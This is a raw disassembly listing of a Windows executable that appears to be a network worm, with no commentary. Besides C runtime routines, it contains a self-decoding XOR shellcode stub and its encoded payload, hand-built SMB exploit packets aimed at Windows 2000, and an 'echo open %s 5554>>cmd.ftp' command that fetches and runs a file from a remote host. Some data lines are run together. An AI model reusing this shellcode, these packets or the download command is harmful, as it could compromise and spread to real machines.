		xor	eax, eax
		retn
sub_40494D	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404970	proc near		; CODE XREF: sub_403D93+2EEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_404990
		cmp	edi, eax
		jb	loc_404B08


loc_404990:				; CODE XREF: sub_404970+16j
		test	edi, 3
		jnz	short loc_4049AC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4049CC
		rep movsd
		jmp	ds:off_404AB8[edx*4]
; ---------------------------------------------------------------------------


loc_4049AC:				; CODE XREF: sub_404970+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4049C4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_4049CC+4[eax*4]
; ---------------------------------------------------------------------------


loc_4049C4:				; CODE XREF: sub_404970+46j
		jmp	dword ptr ds:loc_404AC8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4049CC:				; CODE XREF: sub_404970+31j
					; sub_404970+8Ej ...
		jmp	ds:off_404A4C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4049E0
		dd offset loc_404A0C
		dd offset loc_404A30
; ---------------------------------------------------------------------------


loc_4049E0:				; DATA XREF: sub_404970+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4049CC
		rep movsd
		jmp	ds:off_404AB8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_404A0C:				; DATA XREF: sub_404970+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4049CC
		rep movsd
		jmp	ds:off_404AB8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_404A30:				; DATA XREF: sub_404970+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4049CC
		rep movsd
		jmp	ds:off_404AB8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_404A4C	dd offset loc_404AAF	; DATA XREF: sub_404970:loc_4049CCr
		dd offset loc_404A9C
		dd offset loc_404A94
		dd offset loc_404A8C
		dd offset loc_404A84
		dd offset loc_404A7C
		dd offset loc_404A74
		dd offset loc_404A6C
; ---------------------------------------------------------------------------


loc_404A6C:				; CODE XREF: sub_404970:loc_4049CCj
					; DATA XREF: sub_404970+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_404A74:				; CODE XREF: sub_404970:loc_4049CCj
					; DATA XREF: sub_404970+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_404A7C:				; CODE XREF: sub_404970:loc_4049CCj
					; DATA XREF: sub_404970+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_404A84:				; CODE XREF: sub_404970:loc_4049CCj
					; DATA XREF: sub_404970+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_404A8C:				; CODE XREF: sub_404970:loc_4049CCj
					; DATA XREF: sub_404970+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_404A94:				; CODE XREF: sub_404970:loc_4049CCj
					; DATA XREF: sub_404970+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_404A9C:				; CODE XREF: sub_404970:loc_4049CCj
					; DATA XREF: sub_404970+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_404AAF:				; CODE XREF: sub_404970:loc_4049CCj
					; DATA XREF: sub_404970:off_404A4Co
		jmp	ds:off_404AB8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_404AB8	dd offset loc_404AC8	; DATA XREF: sub_404970+35r
					; sub_404970+92r ...
		dd offset loc_404AD0
		dd offset loc_404ADC
		dd offset loc_404AF0
; ---------------------------------------------------------------------------


loc_404AC8:				; CODE XREF: sub_404970+35j
					; sub_404970+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_404AD0:				; CODE XREF: sub_404970+35j
					; sub_404970+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_404ADC:				; CODE XREF: sub_404970+35j
					; sub_404970+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_404AF0:				; CODE XREF: sub_404970+35j
					; sub_404970+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_404B08:				; CODE XREF: sub_404970+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_404B3C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_404B30
		std
		rep movsd
		cld
		jmp	ds:off_404C50[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_404B30:				; CODE XREF: sub_404970+1B1j
					; sub_404970+208j ...
		neg	ecx
		jmp	ds:off_404C00[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_404B3C:				; CODE XREF: sub_404970+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_404B54
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_404B54+4[eax*4]
; ---------------------------------------------------------------------------


loc_404B54:				; CODE XREF: sub_404970+1D6j
					; DATA XREF: sub_404970+1DDr
		jmp	ds:off_404C50[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_404B67+1
		dd offset loc_404B88
; ---------------------------------------------------------------------------
		mov	al, 4Bh
		inc	eax


loc_404B67:				; DATA XREF: sub_404970+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_404B30
		std
		rep movsd
		cld
		jmp	ds:off_404C50[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_404B88:				; DATA XREF: sub_404970+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_404B30
		std
		rep movsd
		cld
		jmp	ds:off_404C50[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_404B30
		std
		rep movsd
		cld
		jmp	ds:off_404C50[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_404C04
		dd offset loc_404C0C
		dd offset loc_404C14
		dd offset loc_404C1C
		dd offset loc_404C24
		dd offset loc_404C2C
		dd offset loc_404C34
off_404C00	dd offset loc_404C47	; DATA XREF: sub_404970+1C2r
; ---------------------------------------------------------------------------


loc_404C04:				; DATA XREF: sub_404970+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_404C0C:				; DATA XREF: sub_404970+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_404C14:				; DATA XREF: sub_404970+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_404C1C:				; DATA XREF: sub_404970+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_404C24:				; DATA XREF: sub_404970+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_404C2C:				; DATA XREF: sub_404970+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_404C34:				; DATA XREF: sub_404970+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_404C47:				; CODE XREF: sub_404970+1C2j
					; DATA XREF: sub_404970:off_404C00o
		jmp	ds:off_404C50[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_404C50	dd offset loc_404C60	; DATA XREF: sub_404970+1B7r
					; sub_404970:loc_404B54r ...
		dd offset loc_404C68
		dd offset loc_404C78
		dd offset loc_404C8C
; ---------------------------------------------------------------------------


loc_404C60:				; CODE XREF: sub_404970+1B7j
					; sub_404970:loc_404B54j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_404C68:				; CODE XREF: sub_404970+1B7j
					; sub_404970:loc_404B54j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_404C78:				; CODE XREF: sub_404970+1B7j
					; sub_404970:loc_404B54j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_404C8C:				; CODE XREF: sub_404970+1B7j
					; sub_404970:loc_404B54j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_404970	endp

; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_404CA6	proc near		; CODE XREF: sub_4033C0+13p
		jmp	ds:dword_405080
sub_404CA6	endp

; ---------------------------------------------------------------------------
		dd 0D5h	dup(0)
dword_405000	dd 77E34D78h	; resolved to->ADVAPI32.AbortSystemShutdownAdword_405004	dd 77DFC41Bh	; resolved to->ADVAPI32.RegOpenKeyAdword_405008	dd 77DDEBE7h	; resolved to->ADVAPI32.RegSetValueExAdword_40500C	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKey		dd 0
dword_405014	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryAdword_405018	dd 7C80BE01h	; resolved to->KERNEL32.lstrcpyA					; sub_40127D+8Fr ...
dword_40501C	dd 7C834E64h	; resolved to->KERNEL32._lclose					; sub_401B08+2ABr
dword_405020	dd 7C838AE7h	; resolved to->KERNEL32._lwritedword_405024	dd 7C8365A5h	; resolved to->KERNEL32._lcreatdword_405028	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_40159E+4D0r ...
dword_40502C	dd 7C8353CEh	; resolved to->KERNEL32._lreaddword_405030	dd 7C85E830h	; resolved to->KERNEL32._lopendword_405034	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameA					; sub_401EF0+F8r ...
dword_405038	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; sub_402029:loc_402095r
dword_40503C	dd 7C86136Dh	; resolved to->KERNEL32.WinExecdword_405040	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Errordword_405044	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCountdword_405048	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexAdword_40504C	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileAdword_405050	dd 7C821363h	; resolved to->KERNEL32.GetWindowsDirectoryAdword_405054	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddressdword_405058	dd 7C9179FDh	; resolved to->NTDLL.RtlReAllocateHeapdword_40505C	dd 7C809A51h	; resolved to->KERNEL32.VirtualAlloc					; sub_404478+51r
dword_405060	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeap					; sub_403D2A+Dr ...
dword_405064	dd 7C8127A7h	; resolved to->KERNEL32.GetOEMCPdword_405068	dd 7C809915h	; resolved to->KERNEL32.GetACPdword_40506C	dd 7C812E76h	; resolved to->KERNEL32.GetCPInfo					; sub_403AE6+14r
dword_405070	dd 7C80A490h	; resolved to->KERNEL32.GetStringTypeW					; sub_40371C+12Dr
dword_405074	dd 7C838A0Ch	; resolved to->KERNEL32.GetStringTypeA					; sub_40371C+8Dr
dword_405078	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChar					; sub_40371C+11Br ...
dword_40507C	dd 7C810D87h	; resolved to->KERNEL32.WriteFiledword_405080	dd 7C937A40h	; resolved to->NTDLL.RtlUnwinddword_405084	dd 7C91043Dh	; resolved to->NTDLL.RtlFreeHeap					; sub_403D93+2C4r ...
dword_405088	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_40508C	dd 7C812BB6h	; resolved to->KERNEL32.HeapCreatedword_405090	dd 7C810EF8h	; resolved to->KERNEL32.HeapDestroydword_405094	dd 7C810E51h	; resolved to->KERNEL32.GetFileType					; sub_4031D7+166r
dword_405098	dd 7C80CCA8h	; resolved to->KERNEL32.LCMapStringW					; sub_4046FE+14Dr ...
dword_40509C	dd 7C838DE8h	; resolved to->KERNEL32.LCMapStringA					; sub_4046FE+A7r
dword_4050A0	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleAdword_4050A4	dd 7C801EEEh	; resolved to->KERNEL32.GetStartupInfoA					; sub_4031D7+59r
dword_4050A8	dd 7C812F1Dh	; resolved to->KERNEL32.GetCommandLineAdword_4050AC	dd 7C8111DAh	; resolved to->KERNEL32.GetVersiondword_4050B0	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_402B10+91r
dword_4050B4	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcessdword_4050B8	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcessdword_4050BC	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilterdword_4050C0	dd 7C81DF77h	; resolved to->KERNEL32.FreeEnvironmentStringsAdword_4050C4	dd 7C814AE7h	; resolved to->KERNEL32.FreeEnvironmentStringsWdword_4050C8	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiByte					; sub_4046FE+20Dr
dword_4050CC	dd 7C81CF5Bh	; resolved to->KERNEL32.GetEnvironmentStringsA					; sub_4030A5+E1r
dword_4050D0	dd 7C812F08h	; resolved to->KERNEL32.GetEnvironmentStringsWdword_4050D4	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCountdword_4050D8	dd 7C812F39h	; resolved to->KERNEL32.GetStdHandle					; sub_4035C9+143r
		align 10h
dword_4050E0	dd 7E41A8ADh	; resolved to->USER32.wsprintfA					; sub_40127D+B7r ...
		align 8
dword_4050E8	dd 71AC1028h	; resolved to->WS2_32.acceptdword_4050EC	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_40159E+2DDr ...
dword_4050F0	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_401398+151r ...
dword_4050F4	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_40127D+27r ...
dword_4050F8	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_40127D+51r ...
dword_4050FC	dd 71AB406Ah	; resolved to->WS2_32.connect					; sub_40127D+6Cr ...
dword_405100	dd 71AB88D3h	; resolved to->WS2_32.listendword_405104	dd 71AB50C8h	; resolved to->WS2_32.gethostnamedword_405108	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoadword_40510C	dd 71AB2BF4h	; resolved to->WS2_32.inet_addr					; sub_4011D5+7r ...
dword_405110	dd 71AB4FD4h	; resolved to->WS2_32.gethostbyname					; sub_4011D5+1Er ...
dword_405114	dd 71AB664Dh	; resolved to->WS2_32.WSAStartupdword_405118	dd 71AB3E00h	; resolved to->WS2_32.binddword_40511C	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_40127D+10Fr ...
		dd 2 dup(0)
dword_405128	dd 0FFFFFFFFh, 402915h,	402929h, 746E7572h, 20656D69h
					; DATA XREF: sub_40283E+5o
		dd 6F727265h, 2072h, 0A0Dh, 534F4C54h, 72652053h, 0D726F72h
		dd 0Ah,	474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .text:off_406DA4o
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4035C9+119o
		align 4
asc_4053E8	db 0Ah			; DATA XREF: sub_4035C9+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4035C9+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_4035C9+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4035C9+7Do
		align 4
dword_405424	dd 0							; sub_4046FE+36o
dword_405428	dd 0FFFFFFFFh, 403815h,	403819haGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_404573+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_404573+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_404573+24o
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_404573+Do
		align 10h
dword_405470	dd 0FFFFFFFFh, 40480Eh,	404812h, 0FFFFFFFFh, 4048C2h, 4048C6h
					; DATA XREF: sub_4046FE+5o
		dd 55CCh, 2 dup(0)
		dd 561Ch, 50E0h, 5500h,	2 dup(0)
		dd 5714h, 5014h, 55D4h,	2 dup(0)
		dd 5722h, 50E8h, 54ECh,	2 dup(0)
		dd 5774h, 5000h, 5 dup(0)
		dd 77E34D78h, 77DFC41Bh, 77DDEBE7h, 77DD6BF0h, 0
		dd 7C801D77h, 7C80BE01h, 7C834E64h, 7C838AE7h, 7C8365A5h
		dd 7C802442h, 7C8353CEh, 7C85E830h, 7C80B4CFh, 7C810637h
		dd 7C86136Dh, 7C910331h, 7C80929Ch, 7C80E93Fh, 7C8286EEh
		dd 7C821363h, 7C80ADA0h, 7C9179FDh, 7C809A51h, 7C9105D4h
		dd 7C8127A7h, 7C809915h, 7C812E76h, 7C80A490h, 7C838A0Ch
		dd 7C809BF8h, 7C810D87h, 7C937A40h, 7C91043Dh, 7C809AE4h
		dd 7C812BB6h, 7C810EF8h, 7C810E51h, 7C80CCA8h, 7C838DE8h
		dd 7C80B6A1h, 7C801EEEh, 7C812F1Dh, 7C8111DAh, 7C81CDDAh
		dd 7C801E16h, 7C80DDF5h, 7C862E2Ah, 7C81DF77h, 7C814AE7h
		dd 7C80A0D4h, 7C81CF5Bh, 7C812F08h, 7C80CC97h, 7C812F39h
		dd 0
		dd 7E41A8ADh, 0
		dd 71AC1028h, 71AB615Ah, 71AB428Ah, 71AB2B66h, 71AB3B91h
		dd 71AB406Ah, 71AB88D3h, 71AB50C8h, 71AB3F41h, 71AB2BF4h
		dd 71AB4FD4h, 71AB664Dh, 71AB3E00h, 71AB9639h, 0
		dd 73770000h, 6E697270h, 416674h, 52455355h, 642E3233h
		dd 6C6Ch, 65470000h, 6F725074h,	64644163h, 73736572h, 0
aLoadlibrarya	db 'LoadLibraryA',0
		align 4
aLstrcpya	db 'lstrcpyA',0
		align 4
a_lclose	db '_lclose',0
		dd 6C5F0000h, 74697277h, 65h, 72636C5Fh, 746165h, 6C530000h
		dd 706565h, 6C5F0000h, 64616572h, 0
a_lopen		db '_lopen',0
		align 10h
		dd 65470000h, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h
		dd 0
aCreatethread_0	db 'CreateThread',0
		align 4
aWinexec	db 'WinExec',0
		dd 65470000h, 73614C74h, 72724574h, 726Fh, 65470000h, 63695474h
		dd 756F436Bh, 746Eh, 72430000h,	65746165h, 6574754Dh, 4178h
		dd 6F430000h, 69467970h, 41656Ch, 65470000h, 6E695774h
		dd 73776F64h, 65726944h, 726F7463h, 4179h, 4E52454Bh, 32334C45h
		dd 6C6C642Eh, 53570000h, 32335F32h, 6C6C642Eh, 0
aAbortsystemshu	db 'AbortSystemShutdownA',0
		align 4
aRegclosekey	db 'RegCloseKey',0
		dd 65520000h, 74655367h, 756C6156h, 41784565h, 0
aRegopenkeya	db 'RegOpenKeyA',0
aAdvapi32_dll	db 'ADVAPI32.dll',0
		align 4
aGetmodulehandl	db 'GetModuleHandleA',0
		align 4
aGetstartupinfo	db 'GetStartupInfoA',0
		dd 65470000h, 6D6F4374h, 646E616Dh, 656E694Ch, 41h, 56746547h
		dd 69737265h, 6E6Fh, 78450000h,	72507469h, 7365636Fh, 73h
		dd 6D726554h, 74616E69h, 6F725065h, 73736563h, 0
aGetcurrentproc	db 'GetCurrentProcess',0
		align 10h
aUnhandledexcep	db 'UnhandledExceptionFilter',0
		align 4
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
		dd 72460000h, 6E456565h, 6F726976h, 6E656D6Eh, 72745374h
		dd 73676E69h, 57h, 65646957h, 72616843h, 754D6F54h, 4269746Ch
		dd 657479h, 65470000h, 766E4574h, 6E6F7269h, 746E656Dh
		dd 69727453h, 73676Eh, 65470000h, 766E4574h, 6E6F7269h
		dd 746E656Dh, 69727453h, 5773676Eh, 0
aSethandlecount	db 'SetHandleCount',0
		align 4
		dd 65470000h, 64745374h, 646E6148h, 656Ch, 65470000h, 6C694674h
		dd 70795465h, 65h, 70616548h, 74736544h, 796F72h, 65480000h
		dd 72437061h, 65746165h, 0
aVirtualfree	db 'VirtualFree',0
		dd 65480000h, 72467061h, 6565h,	74520000h, 776E556Ch, 646E69h
		dd 72570000h, 46657469h, 656C69h, 754D0000h, 4269746Ch
		dd 54657479h, 6469576Fh, 61684365h, 72h, 53746547h, 6E697274h
		dd 70795467h, 4165h, 65470000h,	72745374h, 54676E69h, 57657079h
		dd 0
aGetcpinfo	db 'GetCPInfo',0
		align 4
aGetacp		db 'GetACP',0
		align 4
		dd 65470000h, 4D454F74h, 5043h,	65480000h, 6C417061h, 636F6Ch
		dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 65480000h, 65527061h
		dd 6F6C6C41h, 63h, 614D434Ch, 72745370h, 41676E69h, 0
aLcmapstringw	db 'LCMapStringW',0
		align 4
		dd 191h	dup(0)
dword_406000	dd 0		dword_406004	dd 0		dword_406008	dd 0				dd offset sub_403C6B
dword_406010	dd 0		dword_406014	dd 0		dword_406018	dd 0		dword_40601C	dd 0		dword_406020	dd 4 dup(0)	off_406030	dd offset aEchoOffEchoOpe ; DATA XREF: sub_40127D+AAr
					; "echo	off&echo open %s 5554>>cmd.ftp&ech"...
; ---------------------------------------------------------------------------


loc_406034:				; DATA XREF: sub_40159E+132o
					; sub_40159E+1ABo
		jmp	short loc_406046

; =============== S U B	R O U T	I N E =======================================



sub_406036	proc near		; CODE XREF: sub_406036:loc_406046p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_40603E:				; CODE XREF: sub_406036+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_40603E
		jmp	short loc_40604B
; ---------------------------------------------------------------------------


loc_406046:				; CODE XREF: .text:loc_406034j
		call	sub_406036


loc_40604B:				; CODE XREF: sub_406036+Ej
		jo	short near ptr dword_4059BC+626h
		cwde
		cdq
		cdq
		retn
sub_406036	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_4060E4	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_40159E+102o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_4061CC	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_401398+15Do
					; sub_40159E+2BDo
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_406258	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_401398+188o
					; sub_40159E+2ECo
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
		dd 0
dword_406304	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_401398+1ADo
					; sub_40159E+315o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
